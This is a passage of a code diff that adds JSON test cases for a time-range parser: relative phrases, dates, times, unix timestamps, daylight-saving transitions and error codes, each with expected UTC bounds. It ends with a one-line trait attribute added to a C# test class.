+   "start": "2026-10-05T04:00:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "3d  Oct 5, 12:00 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "last week",
+   "input": "last week",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-09-28T04:00:00Z",
+   "end": "2026-10-05T04:00:00Z",
+   "live": false,
+   "echo": "7d  Sep 28, 12:00 am - Oct 5, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "month to date",
+   "input": "mtd",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T04:00:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "7d  Oct 1, 12:00 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "year to date spans the winter offset",
+   "input": "year to date",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-01-01T05:00:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "280d  Jan 1, 12:00 am - Oct 8, 7:01 am (UTC-05:00 to UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "last year",
+   "input": "last year",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2025-01-01T05:00:00Z",
+   "end": "2026-01-01T05:00:00Z",
+   "live": false,
+   "echo": "365d  Jan 1, 2025, 12:00 am - Jan 1, 2026, 12:00 am (UTC-05:00)",
+   "error": null
+  },
+  {
+   "name": "sunday belongs to the week that began Monday",
+   "input": "this week",
+   "now": "2026-10-12T03:30:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-05T04:00:00Z",
+   "end": "2026-10-12T03:30:00Z",
+   "live": true,
+   "echo": "6d  Oct 5, 12:00 am - Oct 11, 11:30 pm (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "monday morning: this week has only just begun",
+   "input": "this week",
+   "now": "2026-10-12T14:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-12T04:00:00Z",
+   "end": "2026-10-12T14:00:00Z",
+   "live": true,
+   "echo": "10h  Oct 12, 12:00 am - Oct 12, 10:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "one date is the whole day",
+   "input": "Oct 1",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T04:00:00Z",
+   "end": "2026-10-02T04:00:00Z",
+   "live": false,
+   "echo": "1d  Oct 1, 12:00 am - Oct 2, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "one numeric date is the whole day",
+   "input": "10/1",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T04:00:00Z",
+   "end": "2026-10-02T04:00:00Z",
+   "live": false,
+   "echo": "1d  Oct 1, 12:00 am - Oct 2, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "end date is included",
+   "input": "Oct 1 - Oct 2",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T04:00:00Z",
+   "end": "2026-10-03T04:00:00Z",
+   "live": false,
+   "echo": "2d  Oct 1, 12:00 am - Oct 3, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "numeric dates",
+   "input": "10/1 - 10/2",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T04:00:00Z",
+   "end": "2026-10-03T04:00:00Z",
+   "live": false,
+   "echo": "2d  Oct 1, 12:00 am - Oct 3, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "numeric dates with no spaces",
+   "input": "10/1-10/2",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T04:00:00Z",
+   "end": "2026-10-03T04:00:00Z",
+   "live": false,
+   "echo": "2d  Oct 1, 12:00 am - Oct 3, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "to and an en dash",
+   "input": "Oct 1 – Oct 2",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T04:00:00Z",
+   "end": "2026-10-03T04:00:00Z",
+   "live": false,
+   "echo": "2d  Oct 1, 12:00 am - Oct 3, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "to as a word",
+   "input": "october 1st to october 2nd",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T04:00:00Z",
+   "end": "2026-10-03T04:00:00Z",
+   "live": false,
+   "echo": "2d  Oct 1, 12:00 am - Oct 3, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "from ... to ...",
+   "input": "from 10/1 to 10/3",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T04:00:00Z",
+   "end": "2026-10-04T04:00:00Z",
+   "live": false,
+   "echo": "3d  Oct 1, 12:00 am - Oct 4, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "iso date alone",
+   "input": "2026-10-01",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T04:00:00Z",
+   "end": "2026-10-02T04:00:00Z",
+   "live": false,
+   "echo": "1d  Oct 1, 12:00 am - Oct 2, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "iso date and time",
+   "input": "2026-10-01 13:00 - 2026-10-01 15:00",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T17:00:00Z",
+   "end": "2026-10-01T19:00:00Z",
+   "live": false,
+   "echo": "2h  Oct 1, 1:00 pm - Oct 1, 3:00 pm (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "explicit years",
+   "input": "12/31/2025 - 1/2/26",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2025-12-31T05:00:00Z",
+   "end": "2026-01-03T05:00:00Z",
+   "live": false,
+   "echo": "3d  Dec 31, 2025, 12:00 am - Jan 3, 2026, 12:00 am (UTC-05:00)",
+   "error": null
+  },
+  {
+   "name": "day first",
+   "input": "1 Oct 2025",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2025-10-01T04:00:00Z",
+   "end": "2025-10-02T04:00:00Z",
+   "live": false,
+   "echo": "1d  Oct 1, 2025, 12:00 am - Oct 2, 2025, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "a date with a time, same day end",
+   "input": "Oct 2 12pm - 3pm",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-02T16:00:00Z",
+   "end": "2026-10-02T19:00:00Z",
+   "live": false,
+   "echo": "3h  Oct 2, 12:00 pm - Oct 2, 3:00 pm (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "date and time on both sides",
+   "input": "Oct 2 9:30 am to Oct 3 5:15 pm",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-02T13:30:00Z",
+   "end": "2026-10-03T21:15:00Z",
+   "live": false,
+   "echo": "1d  Oct 2, 9:30 am - Oct 3, 5:15 pm (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "date only start, time end",
+   "input": "Oct 1 - 3pm",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T04:00:00Z",
+   "end": "2026-10-01T19:00:00Z",
+   "live": false,
+   "echo": "15h  Oct 1, 12:00 am - Oct 1, 3:00 pm (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "date year from the latest not in the future (earlier this year)",
+   "input": "Oct 1",
+   "now": "2026-09-15T16:00:00Z",
+   "zone": "America/New_York",
+   "start": "2025-10-01T04:00:00Z",
+   "end": "2025-10-02T04:00:00Z",
+   "live": false,
+   "echo": "1d  Oct 1, 2025, 12:00 am - Oct 2, 2025, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "same date today counts as not in the future",
+   "input": "Oct 8",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-08T04:00:00Z",
+   "end": "2026-10-09T04:00:00Z",
+   "live": false,
+   "echo": "1d  Oct 8, 12:00 am - Oct 9, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "range across new year takes the year before",
+   "input": "Dec 30 - Jan 2",
+   "now": "2026-01-15T17:00:00Z",
+   "zone": "America/New_York",
+   "start": "2025-12-30T05:00:00Z",
+   "end": "2026-01-03T05:00:00Z",
+   "live": false,
+   "echo": "4d  Dec 30, 2025, 12:00 am - Jan 3, 2026, 12:00 am (UTC-05:00)",
+   "error": null
+  },
+  {
+   "name": "leap day goes back to the last leap year",
+   "input": "Feb 29",
+   "now": "2026-03-15T16:00:00Z",
+   "zone": "America/New_York",
+   "start": "2024-02-29T05:00:00Z",
+   "end": "2024-03-01T05:00:00Z",
+   "live": false,
+   "echo": "1d  Feb 29, 2024, 12:00 am - Mar 1, 2024, 12:00 am (UTC-05:00)",
+   "error": null
+  },
+  {
+   "name": "times only, today",
+   "input": "1:00 am - 7:00 am",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-08T05:00:00Z",
+   "end": "2026-10-08T11:00:00Z",
+   "live": false,
+   "echo": "6h  Oct 8, 1:00 am - Oct 8, 7:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "times only, 24 hour, not yet today so yesterday",
+   "input": "13:00 - 15:00",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-07T17:00:00Z",
+   "end": "2026-10-07T19:00:00Z",
+   "live": false,
+   "echo": "2h  Oct 7, 1:00 pm - Oct 7, 3:00 pm (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "times only crossing midnight",
+   "input": "22:00 - 02:00",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-08T02:00:00Z",
+   "end": "2026-10-08T06:00:00Z",
+   "live": false,
+   "echo": "4h  Oct 7, 10:00 pm - Oct 8, 2:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "noon to midnight",
+   "input": "noon - midnight",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-07T16:00:00Z",
+   "end": "2026-10-08T04:00:00Z",
+   "live": false,
+   "echo": "12h  Oct 7, 12:00 pm - Oct 8, 12:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "12 hour edge cases",
+   "input": "12am - 12pm",
+   "now": "2026-10-08T18:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-08T04:00:00Z",
+   "end": "2026-10-08T16:00:00Z",
+   "live": false,
+   "echo": "12h  Oct 8, 12:00 am - Oct 8, 12:00 pm (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "time start, dated end",
+   "input": "9am - Oct 7 5pm",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-07T13:00:00Z",
+   "end": "2026-10-07T21:00:00Z",
+   "live": false,
+   "echo": "8h  Oct 7, 9:00 am - Oct 7, 5:00 pm (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "since a date",
+   "input": "since 10/1",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T04:00:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "7d  Oct 1, 12:00 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "since a date and time",
+   "input": "since Oct 2 12pm",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-02T16:00:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "5d  Oct 2, 12:00 pm - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "to now",
+   "input": "Oct 2 12pm to now",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-02T16:00:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "5d  Oct 2, 12:00 pm - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "dash now",
+   "input": "10/1 - now",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T04:00:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "7d  Oct 1, 12:00 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "since a time is the latest such time",
+   "input": "since 9am",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-07T13:00:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "22h 1m  Oct 7, 9:00 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "since a time already passed today",
+   "input": "since 5:00",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-08T09:00:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "2h 1m  Oct 8, 5:00 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "unix seconds",
+   "input": "1790852543 - 1791457343",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T11:02:23Z",
+   "end": "2026-10-08T11:02:23Z",
+   "live": false,
+   "echo": "7d  Oct 1, 7:02:23 am - Oct 8, 7:02:23 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "unix milliseconds",
+   "input": "1790852543000 - 1791457343000",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T11:02:23Z",
+   "end": "2026-10-08T11:02:23Z",
+   "live": false,
+   "echo": "7d  Oct 1, 7:02:23 am - Oct 8, 7:02:23 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "unix since",
+   "input": "since 1790852543",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T11:02:23Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "6d  Oct 1, 7:02 am - Oct 8, 7:01 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "UTC yesterday",
+   "input": "yesterday",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "UTC",
+   "start": "2026-10-07T00:00:00Z",
+   "end": "2026-10-08T00:00:00Z",
+   "live": false,
+   "echo": "1d  Oct 7, 12:00 am - Oct 8, 12:00 am (UTC+00:00)",
+   "error": null
+  },
+  {
+   "name": "UTC typed times",
+   "input": "1:00 am - 7:00 am",
+   "now": "2026-10-08T07:30:00Z",
+   "zone": "UTC",
+   "start": "2026-10-08T01:00:00Z",
+   "end": "2026-10-08T07:00:00Z",
+   "live": false,
+   "echo": "6h  Oct 8, 1:00 am - Oct 8, 7:00 am (UTC+00:00)",
+   "error": null
+  },
+  {
+   "name": "India half-hour zone, today",
+   "input": "today",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "Asia/Kolkata",
+   "start": "2026-10-07T18:30:00Z",
+   "end": "2026-10-08T11:01:00Z",
+   "live": true,
+   "echo": "16h 31m  Oct 8, 12:00 am - Oct 8, 4:31 pm (UTC+05:30)",
+   "error": null
+  },
+  {
+   "name": "India typed times",
+   "input": "13:00 - 15:00",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "Asia/Kolkata",
+   "start": "2026-10-08T07:30:00Z",
+   "end": "2026-10-08T09:30:00Z",
+   "live": false,
+   "echo": "2h  Oct 8, 1:00 pm - Oct 8, 3:00 pm (UTC+05:30)",
+   "error": null
+  },
+  {
+   "name": "Sydney last month (southern summer time)",
+   "input": "last month",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "Australia/Sydney",
+   "start": "2026-08-31T14:00:00Z",
+   "end": "2026-09-30T14:00:00Z",
+   "live": false,
+   "echo": "30d  Sep 1, 12:00 am - Oct 1, 12:00 am (UTC+10:00)",
+   "error": null
+  },
+  {
+   "name": "spring: the short day is 23 hours",
+   "input": "Mar 8",
+   "now": "2026-03-09T16:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-03-08T05:00:00Z",
+   "end": "2026-03-09T04:00:00Z",
+   "live": false,
+   "echo": "23h  Mar 8, 12:00 am - Mar 9, 12:00 am (UTC-05:00 to UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "spring: yesterday is 23 hours",
+   "input": "yesterday",
+   "now": "2026-03-09T16:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-03-08T05:00:00Z",
+   "end": "2026-03-09T04:00:00Z",
+   "live": false,
+   "echo": "23h  Mar 8, 12:00 am - Mar 9, 12:00 am (UTC-05:00 to UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "spring: 1d is 24 real hours",
+   "input": "1d",
+   "now": "2026-03-09T16:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-03-08T16:00:00Z",
+   "end": "2026-03-09T16:00:00Z",
+   "live": true,
+   "echo": "1d  Mar 8, 12:00 pm - Mar 9, 12:00 pm (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "spring: last week ends at Monday midnight",
+   "input": "last week",
+   "now": "2026-03-09T16:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-03-02T05:00:00Z",
+   "end": "2026-03-09T04:00:00Z",
+   "live": false,
+   "echo": "6d  Mar 2, 12:00 am - Mar 9, 12:00 am (UTC-05:00 to UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "spring: a skipped start maps to the change instant",
+   "input": "Mar 8 2:30 am - Mar 8 4:00 am",
+   "now": "2026-03-09T16:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-03-08T07:00:00Z",
+   "end": "2026-03-08T08:00:00Z",
+   "live": false,
+   "echo": "1h  Mar 8, 3:00 am - Mar 8, 4:00 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "spring: times across the change",
+   "input": "Mar 8 1:00 am - Mar 8 4:00 am",
+   "now": "2026-03-09T16:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-03-08T06:00:00Z",
+   "end": "2026-03-08T08:00:00Z",
+   "live": false,
+   "echo": "2h  Mar 8, 1:00 am - Mar 8, 4:00 am (UTC-05:00 to UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "fall: the long day is 25 hours",
+   "input": "Nov 1",
+   "now": "2026-11-02T17:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-11-01T04:00:00Z",
+   "end": "2026-11-02T05:00:00Z",
+   "live": false,
+   "echo": "1d  Nov 1, 12:00 am - Nov 2, 12:00 am (UTC-04:00 to UTC-05:00)",
+   "error": null
+  },
+  {
+   "name": "fall: yesterday is 25 hours",
+   "input": "yesterday",
+   "now": "2026-11-02T17:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-11-01T04:00:00Z",
+   "end": "2026-11-02T05:00:00Z",
+   "live": false,
+   "echo": "1d  Nov 1, 12:00 am - Nov 2, 12:00 am (UTC-04:00 to UTC-05:00)",
+   "error": null
+  },
+  {
+   "name": "fall: a repeated hour widens both ends",
+   "input": "Nov 1 1:00 am - Nov 1 1:45 am",
+   "now": "2026-11-02T17:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-11-01T05:00:00Z",
+   "end": "2026-11-01T06:45:00Z",
+   "live": false,
+   "echo": "1h 45m  Nov 1, 1:00 am -04:00 - Nov 1, 1:45 am -05:00 (UTC-04:00 to UTC-05:00)",
+   "error": null
+  },
+  {
+   "name": "fall: a repeated start with a plain end",
+   "input": "1:30 am - 3:00 am",
+   "now": "2026-11-01T18:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-11-01T05:30:00Z",
+   "end": "2026-11-01T08:00:00Z",
+   "live": false,
+   "echo": "2h 30m  Nov 1, 1:30 am -04:00 - Nov 1, 3:00 am (UTC-04:00 to UTC-05:00)",
+   "error": null
+  },
+  {
+   "name": "fall: times only crossing midnight",
+   "input": "22:00 - 02:00",
+   "now": "2026-11-02T17:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-11-02T03:00:00Z",
+   "end": "2026-11-02T07:00:00Z",
+   "live": false,
+   "echo": "4h  Nov 1, 10:00 pm - Nov 2, 2:00 am (UTC-05:00)",
+   "error": null
+  },
+  {
+   "name": "fall: 1d is 24 real hours",
+   "input": "1d",
+   "now": "2026-11-02T17:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-11-01T17:00:00Z",
+   "end": "2026-11-02T17:00:00Z",
+   "live": true,
+   "echo": "1d  Nov 1, 12:00 pm - Nov 2, 12:00 pm (UTC-05:00)",
+   "error": null
+  },
+  {
+   "name": "last month in January is December",
+   "input": "last month",
+   "now": "2026-01-15T17:00:00Z",
+   "zone": "America/New_York",
+   "start": "2025-12-01T05:00:00Z",
+   "end": "2026-01-01T05:00:00Z",
+   "live": false,
+   "echo": "31d  Dec 1, 2025, 12:00 am - Jan 1, 2026, 12:00 am (UTC-05:00)",
+   "error": null
+  },
+  {
+   "name": "last month in March is a 28 day February",
+   "input": "last month",
+   "now": "2026-03-15T16:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-02-01T05:00:00Z",
+   "end": "2026-03-01T05:00:00Z",
+   "live": false,
+   "echo": "28d  Feb 1, 12:00 am - Mar 1, 12:00 am (UTC-05:00)",
+   "error": null
+  },
+  {
+   "name": "last month in March of a leap year",
+   "input": "last month",
+   "now": "2024-03-15T16:00:00Z",
+   "zone": "America/New_York",
+   "start": "2024-02-01T05:00:00Z",
+   "end": "2024-03-01T05:00:00Z",
+   "live": false,
+   "echo": "29d  Feb 1, 12:00 am - Mar 1, 12:00 am (UTC-05:00)",
+   "error": null
+  },
+  {
+   "name": "last year in January",
+   "input": "last year",
+   "now": "2026-01-15T17:00:00Z",
+   "zone": "America/New_York",
+   "start": "2025-01-01T05:00:00Z",
+   "end": "2026-01-01T05:00:00Z",
+   "live": false,
+   "echo": "365d  Jan 1, 2025, 12:00 am - Jan 1, 2026, 12:00 am (UTC-05:00)",
+   "error": null
+  },
+  {
+   "name": "year to date on January 1",
+   "input": "ytd",
+   "now": "2026-01-01T17:00:00Z",
+   "zone": "America/New_York",
+   "start": "2026-01-01T05:00:00Z",
+   "end": "2026-01-01T17:00:00Z",
+   "live": true,
+   "echo": "12h  Jan 1, 12:00 am - Jan 1, 12:00 pm (UTC-05:00)",
+   "error": null
+  },
+  {
+   "name": "month to date on the 31st",
+   "input": "month to date",
+   "now": "2026-10-31T23:30:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-01T04:00:00Z",
+   "end": "2026-10-31T23:30:00Z",
+   "live": true,
+   "echo": "30d  Oct 1, 12:00 am - Oct 31, 7:30 pm (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "empty",
+   "input": "",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "empty"
+  },
+  {
+   "name": "blank",
+   "input": "   ",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "empty"
+  },
+  {
+   "name": "nonsense",
+   "input": "banana",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "unrecognized"
+  },
+  {
+   "name": "years are not a unit",
+   "input": "5 years",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "unrecognized"
+  },
+  {
+   "name": "shorter than the minimum",
+   "input": "3m",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "too_short"
+  },
+  {
+   "name": "zero",
+   "input": "0h",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "too_short"
+  },
+  {
+   "name": "a typed range under the minimum",
+   "input": "10:00 - 10:03",
+   "now": "2026-10-08T20:00:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "too_short"
+  },
+  {
+   "name": "today just after midnight",
+   "input": "today",
+   "now": "2026-10-08T04:02:00Z",
+   "zone": "America/New_York",
+   "start": "2026-10-08T04:00:00Z",
+   "end": "2026-10-08T04:02:00Z",
+   "live": true,
+   "echo": "2m  Oct 8, 12:00 am - Oct 8, 12:02 am (UTC-04:00)",
+   "error": null
+  },
+  {
+   "name": "today at exactly midnight has not started",
+   "input": "today",
+   "now": "2026-10-08T04:00:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "too_short",
+   "errorMessage": "Today has only just started. Pick another range."
+  },
+  {
+   "name": "week to date at Monday midnight has not started",
+   "input": "week to date",
+   "now": "2026-10-05T04:00:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "too_short",
+   "errorMessage": "Week to Date has only just started. Pick another range."
+  },
+  {
+   "name": "end before start",
+   "input": "Oct 2 - Oct 1",
+   "now": "2026-10-08T20:00:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "end_before_start"
+  },
+  {
+   "name": "a single time needs an end",
+   "input": "13:00",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "needs_end"
+  },
+  {
+   "name": "a date and time needs an end",
+   "input": "Oct 1 12pm",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "needs_end"
+  },
+  {
+   "name": "now alone",
+   "input": "now",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "needs_end"
+  },
+  {
+   "name": "no such day",
+   "input": "Feb 30",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "bad_date"
+  },
+  {
+   "name": "no such month",
+   "input": "13/1",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "bad_date"
+  },
+  {
+   "name": "a bad hour",
+   "input": "25:00 - 26:00",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "bad_time"
+  },
+  {
+   "name": "12 hour clock has no 13",
+   "input": "13pm - 2pm",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "bad_time"
+  },
+  {
+   "name": "since a start in the future",
+   "input": "since Dec 25 2030",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "start_in_future"
+  },
+  {
+   "name": "now cannot start",
+   "input": "now - Oct 1",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "bad_range"
+  },
+  {
+   "name": "two separators",
+   "input": "Oct 1 - Oct 2 - Oct 3",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "bad_range"
+  },
+  {
+   "name": "a fixed range that starts in the future is refused (review r2 M1)",
+   "input": "Dec 25 2030 - Dec 26 2030",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "range_not_started",
+   "errorMessage": "That range has not started yet."
+  },
+  {
+   "name": "too far back",
+   "input": "99999999 days",
+   "now": "2026-10-08T11:01:00Z",
+   "zone": "America/New_York",
+   "start": null,
+   "end": null,
+   "live": null,
+   "echo": null,
+   "error": "too_far_back"
+  }
+ ]
+}
diff --git a/Darling/Darling.Tests/FleetCardCollectionStaleNamesItsPopulationTests.cs b/Darling/Darling.Tests/FleetCardCollectionStaleNamesItsPopulationTests.cs
index b7b539ca96..3b8a25dbb7 100644
--- a/Darling/Darling.Tests/FleetCardCollectionStaleNamesItsPopulationTests.cs
+++ b/Darling/Darling.Tests/FleetCardCollectionStaleNamesItsPopulationTests.cs
@@ -48,6 +48,7 @@ namespace Darling.Tests;
 /// <see cref="TheMcpCard_DerivesTheFlagFromFreshnessAndNothingElse"/>, against the same four lines the
 /// arithmetic below exercises directly.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class FleetCardCollectionStaleNamesItsPopulationTests
 {
     private static readonly DateTime Now = new(2026, 9, 6, 12, 0, 0, DateTimeKind.Utc);
